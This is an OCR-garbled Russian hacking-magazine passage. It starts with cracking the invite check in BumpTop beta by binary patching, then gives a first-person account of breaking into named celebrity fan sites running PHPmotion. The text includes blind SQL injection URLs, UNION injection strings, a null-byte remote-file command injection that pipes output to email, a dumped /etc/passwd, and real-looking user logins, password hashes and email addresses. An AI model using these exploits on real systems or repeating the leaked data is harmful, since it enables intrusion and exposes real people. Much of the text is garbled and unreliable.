llocne F3 ~ F2 ,o,ns:! pe,IJ,aKTlI1pOBaHII1s:J TeKyw,e(;i II1HCTpyKLI,~~ 51 V13MeHlI1fl TeKYll\YIO "HCTPYKW"IO JNE Ha npOT"SOnOnO>KHYIO ei< JE iJNE/JE 3TO C"HOHiI1Mbl J.1HCTPYKLI,V1iii JNZ/JZI. Bce, neno C,IJ,eJlaHO, V1 reneps MHe OCTaBaJlOCb TOJlbKD COXpaHJ.1Tb IF9) J.1 aanycrars nporpa-r-iy!

Ho 4TO 3TO? Cpasy nocne 3anYCKa BumpTop npennoxnn 06HOBII1Tb Hawy crapyio 6ery Ha cauyro nOCJ1eAHIQIQ. Hy YTO >K, s:J ,lJ,YMalO, He CTOV1T OTKa3blBaTbC51 OT aroro Y,IJ,OBOnbCTB\lHi. Ha>KVlMaeM «Yes»

HHYErO HE nPE,llBEU(AnO 6E,llbl HllH BUMPTOP RELOAD ...

Cpasy >Ke nocne Y.QaYHOrO aanycxa 3D Desktop'a 51 Ha4an BHVlMaTeJlbHO iI13Y4aTb ace ero BKYCHOCH1, HO, K MoeMY YAJ.1BneHJ.1IQ, npnMepHo yepe3 5-10 MItlHyT pa60Tbi n051BV1JlOCb coo6w,eHV1e C npenJlO>KeHV1eM 06HOBJ.1Tb MOIO beta 12 BepCII1IQ Bump Topa. «KoHeYHo», - no,aYMaJl 51, KnV1KHys Ha nORBJ.1BWeMCR co06w.eH~~ KHonKY «Yes». nporpaMMa 3aMepJla ~ '-1epe3 HeCKOflbKO MrHOSeHiI1iii 3D-,IJ,ecKTon nponan C 3KpaHa Moero MOHV1Topa, V1 nO$1SV1JlOCb Oyepe,lJ.Hoe OKHO C aanpocov VlHsaiiiTa: «Authorization failed! Please enter your invite code». OTKPblS B IDA 06HosneHHbliii BumpTop.exe, 51 C YXMblJlKOiii 3Jloge51 npIl1H51JlC$1 aa nerro ..

XAKEP 06 /137/10

Close

rda 0000001 F C Please enter your rnvrte code

.... .rda ... OOOOOOOD C Pol_yBezierT 0
.... .rda ... 00000009 C PolyDraw
.... .rda ... 00000008 C PolylineTo
.... .rda ... 00000018 C Port number too large: %Iu
.... .rda ... OOOOOOOD C Postbtesseoea
.... .rda ... 0000001B C PostQueuedCompletionStatus vi
(Ui(lnnn1 n c O ...... h~i1
line 3239 of 8212 ._.
HYlKHaSi HaM CTpOKa AHanOr"4HO npeAbiAYll\ei< sepc"" H uau.en no anpecy 0068A2CC 06b- 51BneH~e CTPOKiI1 «Authorization failed!» 111 MeCTO, rne OHa ncnonsayerca no anpecy 0041 FF23. nocne HeCKonbKWX Ha>KaTwi< ,PgUp' " YS"Aen 06b)iSneHV1e CPYHKLJ,iI1l11, Bbl3blSalOl..L\eVl CPOPMY .Qn51 BBO,lJ,a II1HsaiiiTa. HexV1TpblM Ha>KaTV1eM Ha KJlaB~arype <X> VI <Enter> nepeMeCTV1flcR K MecTY Bbl30Ba q,YHKW""; "M OKa3anCH anpec 0042258C. 3aTeM Sbll\en"n anpec " noCTa811111 i-a Hero 6pRK. 3anYCTiI1Jl nporpaMMY, OHa OCTaI-lOBV1naCb Ha 6p~Ke, nOMeH5111 onar ZF 111 3anYCTVln AaJlbWe, TYT nporpauaa Bbl,lJ,alla oWVl6KY. LITO >K, 6y,IJ,Y V1CKaTb .o,aflbwe ..

51 noru+sncs ew,e ssuue - CHOBa,lJ.O 06bRBJleHlIIR TeKyw,eiii ¢YHKLI,IIII11 - III Hawen, oTKy.o,a OHa BbI3bIBaeTC$'l. 3TO 6blJl cnuco« 1113 10 paa-iux anpecos. 51 npotuencs no BceM HVlM, paCCTaSn)=l51 6PRKV1 Ha l<a>K,lJ.bl(;i Bbl30B Haweiii ¢YHKLI,~V1, ,o,a6bl onpenenars V13 kaxoro MeCTa OHa ,o,eiiiCTB~TenbHO Bbl3bl- 8aeTC51. B OYepe,lJ,HOVI pas 3anYCTII1Jl nporpavvy. ~ reneps OHa OCTaHOB~naeb no aapecy 0041 EE54. >1 YB"Aen eneAYIOll\"i< KOA:

.text:0041EE2D test al. al

iycnOBI.1e

.text:0041EE2F jnz lac_41EED2 .text:0041EE35 push ecx

.text:0041EE36 mov ecx, esp .text:0041EE38 mov [esp+OECh+var_CO], esp

; ycnoanecr nepexon

. text: 0041EE3C push offset aAuthorizationf

; «AuthorizationFailed»

.text:0041EE4l call ds:??OQString@@QAE@PBD@Z .text:0041EE47 lea eax, [esp+OE8h+var_BO] .text:0041EE4B push eax

.text:0041EE4C mav [esp+OECh+var_4], 2Fh .text:0041EE54 call sub_422550

iB~30B HaweM ~YHKQMM

,QeiiiCTBY$'l no crapoa cxeve. s:! nOCTaB~n TOYKY ocreuoaa Ha V1HCTPYKLI,II1IO JNZ no anpecy 0041 EE2F. neoeaanycrun nporpa-u-ry a. nocne ycneur-ron OCTaHOBKV1, nOMeH)in onar ZF. Bce, aapaborar ol B03BpaTiI1SWV1Cb B HIEW, )=I, KaK V1 paHbwe, nOMeH51J1 J.1HCTpyKLJ,V1IQ JNZ na JZ, TOJlbKO reneps no anpecy 0041EE2F. SumpTop 3anYCT"ncO 6e3 np06neM." 3TO 6blna Y>Ke He 12 sepc"". a HosaH BumpTop Beta 191

B II1Tore 51 nOllY4Jt1n nOCJle.QHIQIQ BepC1I11O nporpaMMbl 111 ynoaonscrswe OT npou,ecca ,IJ,06b1YIII II1HBaiiiTa. MO>KHO npaarn-oaan, no5e.o,y V1 Jl1060BaTbc51 HOBblM 3D Desktop'ou Ha MOH~Tope xenes-rcro npyra.

nocnEcnOBHE HllH c,llEnM1 CAM

B u,enOM npO,IJ,yKT ¢YHKLI,VlOHaJleH V1 npnanekarer e-r. XOHI V1 obnanaer noxa pa3nJ.1YHb1MVl MeJlKII1MIII rJlIQKaMf1, He 3p}1 Be,lJ.b pa3pa6oTYV1KV1 coxpaH51IOT aa npoeKTOM craryc 3aKpblTo(;i beta. B nOCne,lJ,HIIIi1 .o,eHb c,aaYIII CTaTbVl pa3pa6oTY~K~ BumpTop npenonaecnu clOpnp~3 - auuina HOBa51 sepcaa. Xopowo 3TO VlJlI'l nJlOXO - pe.uars rebe. I

filUM naHAOpbl

MACC08bl~ 83nOM ~38ECTHbIX 3APY6E>KHbIX (JlAH-CA~T08

$2.700.000.000 - Bne~aTmllOLUaSl IJ,HlfJpa, He npaaaa nH? HMeHHO CTonbKO 3eneHbiX npe3HAeHTOB c06pan Ha cerOAHHWHHH AeHb XYAO>KeCTBeHHbIH lfJHnbM «ABaTap».

3a 3TOH CYMMOH KpoeTCH He TonbKO H3HypHTenbHaH panora nY~WHX CnelJ,HanHCTOB

MHpa KHHOHHAYCTPHH, HO H «capamanace paAHO» MHorO~HcneHHbIX nOKnOHHHKOB CHHHX ~enOBe~KOB.

aHaTbl C03p,aJlIl1 MHO>KeCTBO caVllOS !;1 6JlOrOB, nOCBI1w,eHHblx CBO!l1M KyMl!1paM. OAHl:1M Vl3 caMblX ycneuiuux np~eKTOB rakoro pcna s:lBJl$12TCs:! Cat1T, noc asuie aHblVl C3MY Yopn1HrTOHY - sam-worthington. n.gl. OCHOBaHHbl~ 8 I1HBapl1 cera rona. pecypc Y>Ke ceVJyac noceuiaro r oxono 30 TbIC$iY YHV1KaJlbHbIX noceTV1Teneii1 B MeCI1L\, 60JlbWl!1HCTBO \Il3 KOTOPblX aaxe l:1 He noneape aaior. 4TO II1X JlIl1YHble )J,aHHble HaXD,D5lTOl non yrp oaou J

nO,llrOTOBKA nJ1AU,llAPMA

3a6eral1 HeMHoro snepen. cKa>t<y. YTO O)J,HVlM JlIl1Wb C3MOM Yopn1HrTOHOM AeJlO He 3aKaH4V1SaeTC$1_ Ha D,lJ,HoliI nJlow,a,lJ,Ke C samworthington.net HaXO,ll,SnCI1 AeCSHKlI1 npyrux nonynapuux ¢aH-CaIl1TOB, 0 KOTOPblX s:I Y3Han m1Wb S KOHL\e S3nOMa :I.

v1TaK, iIl3yyeHV1e pecypca 6blno HayaTO C aHaf1i1l3a rf1aBHOVI CTpaHV1L\bl. HaMeTaHHblVi rrias nOKnOHHl:1I<a WordPress cpasy >Ke Y3Han .nf06i1lMbIVi ASl:1>KOK, KOTOPbllil, K CO>KaneHV1IO, 6bln Henpo6i1lsaeMOVI Ha TOT MOMeHT BepC"" 2.9.2 lorxpuaae« html-"cxoAH"K

rnaBHOVI ill Ha6mop,aeM BepcV110 B MeTa-Tere Generatorl. 3TOT <jJaKT MeH" oc060 He oropYV1n, nOTOMY LITO KOHTeHT caViTa np5iMO-TaKiIl MaHVlf1 CSOV1M pa3Ho06pa3V1eM.

Cne,o,YIOw,Vli1 06Hapy>t<eHHbllll ,o,BIt1>KOK

- «Ccpperrnine Photo Gallery» [samworthington.net/gallery/1. Ero eepcus. unart, >Ke, He c cior.na MeHS1 n opanuaar s

- html-V1CXO,ll,HiIlK nnlOHyn B MeHI1 Ha,ll,nV1- CbKl ""--Coppermine Photo Gallery 1.4.26 lstablel-v-"

)J,anee, ew,e HeMHoro nOXO,D,lt1s no CTpaHIt14- KaM pecypca, 11 HaTKHynCs:l Ha II1HTepecHYIO Ha,o,nll1Cb «Powered free by PHPmotion», Haxo,o,lI1BwYIOGI SHlI13Y cTpaHVl4KIII videos. sam-worthlngton.net. nepeiiA" no ripennaraeMow ccur xe Ha www.phpmotion.com. S1 Y3Han, YTO 3TOT ,ll,SVI>KOK n03I11L\VlOHlI1pyeTc51 KaK oneHcop::HblVi KnOH YouTube, III YTO ero MO>KHO 6ecn.naTHo CKa4aTb.

3asna,o,es II1CXO,ll,HV1KaMII1 PHPmotion, s:l cpa- 3y xe nonsrrancs cpaa-urn, sepcuu: MOIO VI TY, 4TO HaXO.QVlnaCb Ha cpaH-caViTe «.o.>KeViKa Can11V1». E,lJ)1HCTSeHHoliI 3au,enKoliI, nOJBOnS1swelll XOTb KaK-TO onpe.nerurrs aepcvno ,lJ,Blt1>KKa, 51Sns:lflaCb OTKpbJTaS1 ,lJ,n51 npocworpa

Al:1peKTOpl:1>i Images - B Helll HaXO,lJ,iI1nVlCb <jJafinbl logo.gif " logo.png, Ha KOTOPblX OT- 4eTfll:1BO 6blno uanucauo. 4TO He06xOAiI1Ma>i MHe aepcus «poercs aa HOMepoM 2.0. TaK KaK Ha 0cpVlL\VlanbHOM caWTe PHPmotion aaxonunacs Y>Ke aepcan 3.0, npnumocs HeMHoro noryrruir s [ccblnKY iI1UJ,iIl B c.-ocxax] HawAs:l HY>KHble I:1CXOAHI:1 KiI1 , S1 HeMano yp,I:1BV1ncS1 TOMY, YTO TaM B caMOM I<OpHe npuCYTCTBoBan <jJaiin"K VERSION,txt C conep)I("MbIM «Pi+Pr-rotion Version 2 STABLE - 28 APRIL 2008». nOCKonbKY TaKaii xe <jJaiin, OKa3b1BaeTCfl, 6bln lit ua HY>KHOM cepsepe, nansuie C paCKonKaMIII KO,lJ,a MO>KHO 6blno He MeAn"Tb :1

,llbIPHBbIH PHPMOTION

Heuao ro nokonaeun-ct, B VlCXO,lJ,HIIIKaX 1:1 HaW,lJ,51 HeCKonbKO KOHCTPYKL...(Vlii1 spo,n,e cneAYKlll\eii B ./audia_selectar.php:

<Pphp

$selector_audio_id = mysql_real_ escape_string($_GET['vid']);

XAKEP 06 /137/10

[+] ABTopH3yeMCH, ..

[+] KYlCK nOJl}1'ieHbI PHPSES~'ID=('rE'Oi('S('2S('60603b39';'6b16994bdc2a

[+] Ifonyaaem JlOrHH anlllliHa ..

I-I Ilccryeaee CKMBOn #1 0-64-128

64-96-128

96-112-128

96-104-112

96-100-104

96-98-100

96-97-98

I-I CHMBon nonyxea: a l-l Ilcnyxaea CIiMBOJl #2 0-64-128

64-96-128

96-112-128

96-104-112

96-100-104

100-102-104 100-101-102 100-100-102

[-J Cnaeon nonyaeu: d

blind sql-injection axcnnoiir Ami PHPmotion

Video Sharing

nOKaZan, n04Q06Hb!!!: cae.!!eHlI1l 3:41 (4 'I. Ha3a,1:1) +, Onen<TI,

t~ohody 1(0101'1: MHe root:x:O:O:root:/root:Jbin/bash

bin:x:1:1:bin:/bin:fshinfnologin daemon:x:2:2:daemon:lsbin:lsbin/notogin adm:x:3:4:adm:lvar/adm:/sbin/notogin Ip:x:4:7:lp:lvarlspoolllpd:fsbinfnologin sync:x:5:0:sync:/sbin:/binfsync shutdown:x:6:0:shuldown:lsbin:/sbinfshutdown haltx:7:0:hall:/sbin:/sbinfhall mail:x:B:12:mail:/varlspoolimail:/sbininologin news:)(:9:13:news:JetcJnews: uucp:x:l0:14:uucp:Narlspool/uucp:/sbininologin operator:x:11:0:operalor:/root:lsbinlnologin games:x:12:100:games:/usr/games:!sbinfnologin gopher:x:13:30:gopher:lvar/gopher:/sbinlnologin ftp:x:14:50:FTPUser:ivarJf!p:/sbininologin nobody:)(:99:99:Nobody:/:/sbininologin dJus:x:81:81:Syslemmessage bus:/:/sbininologin

.. 'Csa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpm:x:37:37::lvar/lib/rpm:/sbinlnologin

haldaemon:x:G8:68:HAL daemon:/:/sbin/nologin neldump:x:34:34:Network Crash Dump user:/varicrash:Jbinlbash n;cd:x:28:28:NSCD Daemon:/:/silin/nologin s;hd:x:74:74:Privilege·separated SSH:lvarfempty/sshd:Jsbinfnologin rpc:x:32:32:POItmapper RPC user:l:Isbinlnotogin mailnull:x:47:47::NsrlsoooVmoueue:Jsbinlno!ooin

COAep>KI1MOe /etc/passwd Ha MoeM e-mail

If A A ••

II V V ••

Your members can upload videos, add description and lags, Videos can also be embedded on other v .... ensiles 10 add rich rneola .. see more

Image Gallery

AI)art from heing a video shadng script, your members will be able 10 upload pictures and create image albums also. p" image gallery viewer Is also built in.

Uploading music or audio is another of the many features, buill into PHPMolion. Mp3 S!18ring , pl1010 snartnq, t)logs .. the tlst is endless, Check II oul

Ocjll1Lll1anbHblM CaMT ABI1>KKa PHPmotion

Upload Music

$selector_sql :::: "SELECT * FROM audios ~vHERE mysql_real_escape_s tring ($_GET [ I rate_id ' ] ) ;

indexer = $selector_audio_id AND approved $rate_video_rating =

=' yes' " ; mysql_real_escape_string ($_GET [ 'rate' ] ) ;

?>

51, 6blno, ofipano aanc a. HO He TYT-TO 6blflO! Ha aana r sre

" npovue "union select" B nepeMeHHo~ $_GETI'vid·] pearup o aan 6aHaflbHo BCTpoeHHbl~ B cxpurrr IDS, npu- 4eM I-1CXOAHViKI-1 ¢lI1nbTpa 51 nocvorpe n, TaK 1-1 He CMor, nOTOMY 4TO, no B'ce~ BI-1p,11 MOCTI-1 , OH HaXOp,l-1flC51 B ¢a~ne ./classes/config.php " 6bln 3aW"cppoBaH YT"n"TOii phpShield. Ocraeanoc s n"Wb OAHO - tynan nao aepxa acex ¢atlrfloB p,BI-1>KKa Ha Hanl-141-1e B HI-1X KOHCTPYKlJ,I-1!1r 1-1 neper-teuuux, i+a «cropue ¢l-1flbTP He pearupoaan

nOCfle HenpOp,Ofl.>KI-1TenbHOro aHanit13a HY>KHa51 MHe Y513- B~MOCTb 6blna HaGiAeHa B cpaGine rate.php

<?php

$rate_video_id

XAKEP 0& t nst 10

.~ I

0_·~,~. • ... 1

~~=-=

PllPrnotion Wcbsitcv Showcase

$flag_sql = "SELECT * FP.OM rating WHEP.E video_id = $rate_video_id AND user_id = $user_id" ;

$flag_query = @mysql_query{$flag_sql); $flag_count = @mysql_nuffi_rows($flag_query); if ($flag_count != 0) (

@mysql_close{); error_redirect(117);!!"You have already rated this video.

else

error_redirect(118);//"You request could not be completed,

?>

~ links

• downloads.phgmo!jQn.com!V2/PH PMOll_ON_EHP5.zip - PHPmotion 2.0

• downloads.phgmolillD. com!V3. 0/p.hp5L pJJPmotj_on~ - PHPmotion 3.0

• snipper.ru/view/17/ !l.b.Jl_motion-2xratep.hp-bli nd-sglo inje,-tlon-e.KllillilL

- PHPmotion 2.x rate.php blind sql injection exploit

• www.p.hpshleld.com - phpShield

~ warning Bee Onl-1CaHHOe

B crarse S1BflS1eTC51 nflop,OM 60flbHOro Boo6pa>KeHlt151 asropa Jlf06ble COBna,IJ,eHlt1S1

c cyw,ecTByfOlJ..(VlMI-1 Ca~TaMI-1 cnYLJatlrHbl. HVi pep,aKlJ,lt151, Hlt1 aSTOp He uecyr OTBeTCTBeHHOCTI-1 3a mo6ow B03MO>KHbl~ apen npWilt1HeHHbl~ I-1cn0J1b30BaHlI1eM MaTepl-1aflOB 3TOtir crarsa B npornB03aKOHHbIX lJ,eJlS1X

~ 067

Error - Invalid Input Detected IDS B PHPmotion

PHPmotion Server Administration

~ http://videos,sam-worthington ,net! audio, php ?Ioad=membersaudio&uid= 1,2

logout

Starns

Video

Select

Email Addless

KaKlIIX-nl!l60 ¢aillnoB na ClJICTeMe c nOMOUJ,blO AaHHoro 6ara He npencraansnocs 803-

~~IlIi.=Blilm!iBElili::J!!i:lllI.I,;;;;;;;;';~ElI!II'.IIlI=I!Iil!III1.II •• IlIlIlL. M O)l(H bl M J. " "TO MyS Q L cep aep cpa H - ca "Ta

o5nap,an cneAYIOUJ,l!IMIt1 napaMeTpaMlt1:

,,,,,,,,,,,,,,r ,-

r ,,-

ChriSly:2419c45ge9ad2d94f4a5c887b3ca18cb:ricardamanutd@ilotmai1.com leW!lart:da48928945bd5c94Q209437f7a3Q22:lel'elan@qq,com alibcat21 :f1251794 e9cbOe41760ec8b60dc2acbe: alibcat21@yahoo.com carolineI23:348814cd4821717d87376962eG6164dO:evelien234@hotmail.com Unz:dfdl368t88bdad4b4a708ddG21ba4d9:lindsay.fredelle@gmail.com saina: b665604da84e73d9be2931 e16318dc52: saiM7@interia.pl dovescookies:78593512al836feG6618bce665572ee8:go.yuk@s8.dion.ne.jp Mivareem:ac3ffa30791 ae5feda8cd1 a0271537 da:neicielicamogh@holmail.il lonely cbs: e31 c9bc265c4 af5a6Bfc6d7 b075 b76aO: cat _is he@yahoo.eom

th elouei' a e23adea e71 84 d914 ac883a5eOa4 bde9: gahcasl r@hotmail,com christie:f567 cb85556dea700061 be2153bOdaOd:christie@bloch.com.au

kschube ck:93462e2708ae912c8dOOO69adaGf7 4 b9: kschubeck2008@yahoo.com am112G5:366c3e404c9fflJOcd5clB1581 c300050:am11265@hotmail.com fesgroglia:baOa452f34a97fa840488ec8bc13fc5e:fe_sgloglia@hotmail.com catinkatan:6153504c93914505db3913cd1130c071 :cathymyrberg1@gmail.com lila _ undomiel:25ecfeb7 454c05e03490f2ab568157 dS: lita3 _lot r@sapo.pl MonaLisaMatrixVibe:1536619a7d35455d10cI6EiOaGca8708:sybilisimon2@yaoo.de Bandit:e68b262dIb5013ae634b182Eid390dbft:8andit_Banditich@maiI.ru Haley1983:156828G60ac145a537 e281 c7 af443361 :ins_ verderben@hotmail.com

/lorl1Hbl 11 napona n0l1b30BaTel1e~ videos.sam-worthington.net

B SbIWenpVlSep,eHHOM «one HanVllJ,O 6aHanbHeVlWa5=l blind SQL-IIIHbeKLJ,Vl5=I:

http://site.com/phpmotion20/rate. php~rate_id=-9+or+l=1--&rate=1 - true, B03BpamaeTC~ x3Aep Location: index.php?code=117 http://site.com/phpmotion20/rate. php?rate_id=-9+or+l=2--&rate=1

- false, B03Bpa~aeTC~ X3~ep Location: index.php?code=118

,D,anee Heo6xo,o.V1MO 6blno Hanlt1CaTb npocTei:1Wlt1(;1 3KcnnoiitT Ha OCHOBe 3T0(;1 VlHbeKlJ,1I1V1. YTO ~ VI cp,enan (cCblnKY Ha cnnour 1I1UJ,1I1 S cxocxaxl.

3Kcnnoih OCHOBaH Ha npwu uwne «6V1Hapuor o nOVlCKa» VI ,o.eVlcTsyeT no cnep,YKll..Ll,eVl cxe s e

1, flOr"H"MC", nonyyaeM KyKy c PHPSESSID, 2. nonyyaeM none username 1013 Ta6nlo1lJ,bl adrnin:

3. nonYLJaeM md5-xew napons a,o.MVlHa 1113 nons password.

BHYTPH

nocne HeCKonbKV1X MV1HyT paboru cnnojir Bbl,o.an MHe cne,o.YIOUJ,lo1e ,o,aHHble: nOflo1H admin " md5 xew 21232f297a57a5a743894a Oe4a801 fc3.

Kako ao >Ke 6blno Moe y,o.V1BJleHV1e. Kor,o.a nocne paCW"CPPOBK" Ha piain-text.info OKa3anOCb, YTO non 3TIo1M xeuie« cxp sraanc a naporis "adrnin" :I.

Ho yp,V1sn5=lTbc51 6blno HeKor,o.a, TaK YTO 51 3anOrLilHVlJlCR B agMII1HKY no anpe cy videos.

~ 068

sam-worthington.net/siteadmin VI cran Io1CKaTb npyrwe 6arV1.

O,lJ,HVlM lt13 ra cnx 6aros oxaaanacs 60nee noneauas: yeM npeAblAYLlia", SQL-~HbeKLj"" B cpa"ne Isiteadmin/managephp

<?php

if ($_POST [ 'search'] ! = "")

Ilif search

$term = rnysql_real_escape_string ( 5 POST 'search']);

$resu1t_sq1 = "SELECT * FROM member _profile WHERE user_id

$term ORDER BY user_name .A.SC LIMIT $set_limit, $limit";

$header_title = 'Todays (new)';

?>

V'lcnonb3Y5=l 3Ty III HbeKlJ,lt1IO, 5=1 Bblyp,lI1n ace JlOfl!1Hbl VI napOJlV1 nOJlb30SaTeJleiit CV1CTeMbl cneAYIOLli"M 06pa30M

-9 union select 1,2,3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19, 20,21,22,23,concat_ws(Ox3a,user_ narne,password,email_address) ,25,26 from member_profi1e/*

He n oneau o ro S Hlt1X, onSiTb »ce, HV1yerO He 6blno. ):\06"B AD KOHLja 3Ty cxyruo. "Y3Han, !.fTO file_priv y TeKYUJ,ero noru.aoearens 6blJl BbIKnlO!.feH haK !.fTO npocworpe r s t.1CXO,lJ,HIo1KIII

Ha arcr pas Moe BHIo1MaHVle aauennnocs

aa q,a"n luploader_finished,php, KOTOPb'" OTBe4aeT aa aarpysxy " nepeKOA"pOBKY BI!1,1J,eo. CMOTplt1 caM:

user() - samworvd_ricarda@ localhost

version() - 4.1.22-standard database() - samworvd_video

HIII4ero He oc raaanoc s KpOMe roro: KaK 60nee SHII1MaTenbHO npO,lJ,On>KVlTb Vl3yyeHVle VlCXO,lJ,HII1KOB PHPmotion.

rJ1Y60KOE npOHHKHOBEHHE

<?php

Stemp_dir = $_REQUEST['temp_dir']; 1/ Get all the posted values from the .param file

$_POST_DATA = getPostData(

$temp_dir, $_REQUEST['tmp_sid']);

foreach ($_POST_DATA as $post_key => $post_value)

if (preg_match("/'upfi1e_/i", $post_key)) ( $uploaded_file_name $post_va1ue;

function getPostData( $up_dir, $tmp_sid) (

$paramFileName = $up_dir $tmp_sid . ". params" ;

$fh = @fopen($paramFi1eName, 'r') ;

while (!feof($fh))

$buffer = fgets($fh, 4096); list($key, $value) =

explode ( '=', trim($buffer)); $value = str_replace( "-EQLS··" , "=", $value); $value = str_replace( "--NWLN--", "Irln", $value);

$param_array[$key] = $va1ue;

XAKEP 06/137/10

e~

o icon watche.d.gjf o~ o~ .1>W!li

o [oadin"Animatlon.gif

._

o!2z.Mjf ._

o naIl button-plf.p.ng

o nay bunon_en.pog o~ .~ o~

o~

.~

PI!rfS:~;'jW~ Ge",e;AclI01'1IAc11ienlweI0i8on~lhntt'lsy Statua:NowPb\'i<1ll ReIeIl~&.:2Apra2Cl0(llSA)

Info I PiclUft$

o~

._

• reel small.png

o slice I main Olpng

o slice} main 05.png

o sliq;) main Q7png

o slice I main Q90ng

The Df:bl (20IO) Play$: Yotmg [)e,-;;d Gero-e;o~r~ Slalus:Po$I.poo:klction

Relea~l.Inknown t1loJPld\.fe-s

<l>aH-ca~T C3Ma YOpn1HrTOHa

OTKpbITa$! An$! npocnorpa Al1peKTOpl1$! ./images

return $pararn_array;

@exec("$path_to_php $convertor $uploaded_file_name> dev/null &");// (>/dev/null & part is what sends to background)

?>

3,1J,eCb cxpurrr nony-iaer napas-erpu temp_dir 111 tmp_sid, B KOTOPblX

<poe rca II1Ms:! ¢a~na C HeKoTOpblMII1 napaMeTpaMV1 ,1J,ns:! nepeKO,1J,V1pOBKV1 BII1)J,eo. B 3TOM cay-rae HII1 D)J,VlH 1113 TaKIIlX napanerpoa HV1KOVIM 06pa30M He npOBeps=leTCs=I. A rer eps, BHV1MaHVle - cnocof nOTpOWeHVls=I sroro KOAa J 1. 3anVisaeM Ha neBbl~ cepaep site.com cpa~n c V1MeHeM, HanplilMep, test.txt, 's HeM nll1WeM cneAytow,ee'

upfile_=test.mp3;ls -lalrnail TBoe_~rro@gmail. com-NWLN-id

2. ABTop"3yeMc" B PHPmotion;

3. nepexO,1J,II1M no ccunxe www.vldeos.sam-worthington.net/ uploader finished. php?temp dlr~httpj/site.com/leSl.lxt%OO;

4. BVI,Ll,V1M Ha CBoeM Mblne nV1CTVlHr ¢a~noB TeKyw,eiil ,1J,V1peKTOpViVI -raurerc cpaH-caiilTa.

npV1 BbinonHeHVlVI nOCne,Ll,HVlX nYHKTOB B ckpnrrre npOVlCXO,D,VlT cnenyiouree: 1. nepeMeHHa" $paramFileName np"H~MaeT3Ha4eH~e ''http://site. com/test. txt" !" .params" nocne Hynn-6ail1Ta orbpacusaercsl:

2. -NWLN- B cpaiilJle test. txt 3aMeHlieTCR HOBO~ CTpOKO~:

3. nepeMeHHa" $uploaded_file_name 6epeTC" "3 tsst.txt:

4. 3anpoc 8 exec npVlHVlMaeT Cne,D,YKlll\Vliil BV1,D,:

/usr/bin/php /home/site/public_html/phpmotion20/ convertor.php test.mp3;ls -lalmail TBoe_M~rro@gmail. com

id> /dev/null &<

KaK BIII,Ll,VlWb, see reHVlanbHoe nnocro .l. Teneps OCTaBanOCb nlllWb Hail1n1 ,1J,V1peKTOpV1III V1JlV1 cpaiilJ1bl, xoropue 5blnV1 6bl orxpsrrs: Ha sanncu. HO ... TaKOBblX B TeKYlL\eil1 ,D,lI1peKTOpV1V1 He OKa3anOCb. TaK KaK ,D,OBOJlbCTBOBaTbCI1 nlllWb O,D,HOil1 3,D,MV1HKoil1 auneo-pasnena cpaH-caViTa C3Ma

11 He XOTen, Hy>KHO 6blno JlI-06blMVI cnoc06aMV1 3anV1Tb CBOIl1 uienn XOTb KYl\a~H"6Yl\b B npenenax l\aHHoro cepsepa

BECEllblE COCE.1Hl

Peuivrs nOViCKaTb cocenen C3M3 YOpTV1HrTOH3, 11 nonurancs ,D,06paTbCIi ,D,O

XAKEP 06 /137/10

New Sam Worthin9ton Photos added!

~1~solnenewpho!osofS'IllW"'thln!JI(lI\IOlhe9!llleryro.)'<>\Icango 1

~1r.erel0ll1\;lIalook. Iw.~!

G~lIelyUnk$! _"CIMhOl rre nens- ToIi.yoPtemiere

Donalionsandsomenews,l

KOH<jJ~rypa~"OHHOrO <jJa;;;na Ana-ra htlpd.conf lIusr/locat/apache/conrJ,

HO 3,D,eCb CHOBa >K)J,ana HeY,Ll,3"-13 - OH 6bln ,Ll,OCTyneH Anl1 "-1TeHVls=I TOJlbKO pyry i" >Ke ~Men >KanK"e npaaa nobody]. B l1aHHO;;; C"Tya~"" MHe CMor nOMOYb roru.ko O,D,V1H V13 «Reverse IP» cepBV1cos www.yougelslgnal. com/tools/web~sites~on-web-server/" 4TeH"e <jJa;;;na /etc/passwd KaK OKa3anOCb, Ha ,Ll,aHHOM cepBepe XOCTVlTGI senV1Koe MHO>KeCTBO 8V1,Ll,eO-nO,Ll,pa3,D,eJleHV1~ V13seCTHbIX cpaH-ca~ToB aapyfie xuux 38e3,D,. O,Ll,HO~ V13 nepBblx orxp srna 06bSHlI111 ,D,J1s=1 Moero wenna P3~yeJl MaKAl1aMc imedla.rachelmcadams.orgl. >l 3an"n ero B I\OcTynHYIO l1"peKTOp"1O /home/rachelmd/public_html/uploads/avi " pynnn MHO>KeCTBOM ¢aH-ca~ToB O,D,HOBpeMeHHo ,D,OBOnbHO nonr oe SpeMI1. BOT cnVlCOK HaV160nee Vl3BeCTHbiX pecypcos aroro c epaepa:

media aguileraworld.com _ KpMcTMHa ArMnepa media.bielfan.com - ,I(iy.eCCJ.1Ka Bne m, media.clive-owen.org - KnaBB Oy3H media.jtimberlake.net _ ,I(.1KaCTYIH TV1J.V16eprreWK media. kirsten-d. com _ KMpcTeH AaHcT media.shialabeouf.us - lliaMH TIaBaw media.tomcruiseforever.com - TOM Kpy3

media xfilesitalianfansite.net _ Cexpe-rnue MaTepMarrbl tube ultimate~avril.com _ ABPMTI TIaBMH videos.a-brody.net _ A~aM BpoynM videos.bradpittweb.com - BP3A ITMTT videos.johnkrasinski.net _ DMOH KpacMHcKM videos.rene-russo.org _ PeHe Pycco

videos. twilightfan. fan-sites.org _ CYMepKM WM~.madonnamedia.fan-sites.org - Ma~oHHa www.media.annehathawayfan.com - 3HH XeTeY3w www.rnedia.christian-bale.org - KpMcTMaH B3wn www.rnedia.johnnydepp-fan.com _ 'uiKOHHM ,I(enn www.rnedia rnattdamonfan.org - M3TT ,Ue:iiiM:OH

WNW media.monicabelluccifan.com _ MOHMKa BerryqqM www.videos.jess-alba.org _ DMeccMKa Arrb6a

HeMHoro noryrnas no rexe. ~ Y3Han, 4TO ace OCHOBHble 3ana,D,Hble cpaH-ca~Tbl pacnonara orcs Ha fiecnnaruov xocruure OT fan-sites. org. O,D,VlH 1113 cepaepo a «oroporo 51 finaronony-rao nOIl1Men :J.

X3nm13H.1l

ECJlIl1 Tbl nOKnOHHVlK TBOpyeCTSa KaKo~-nVl60 V13seCTHOVI JlVlYHO-

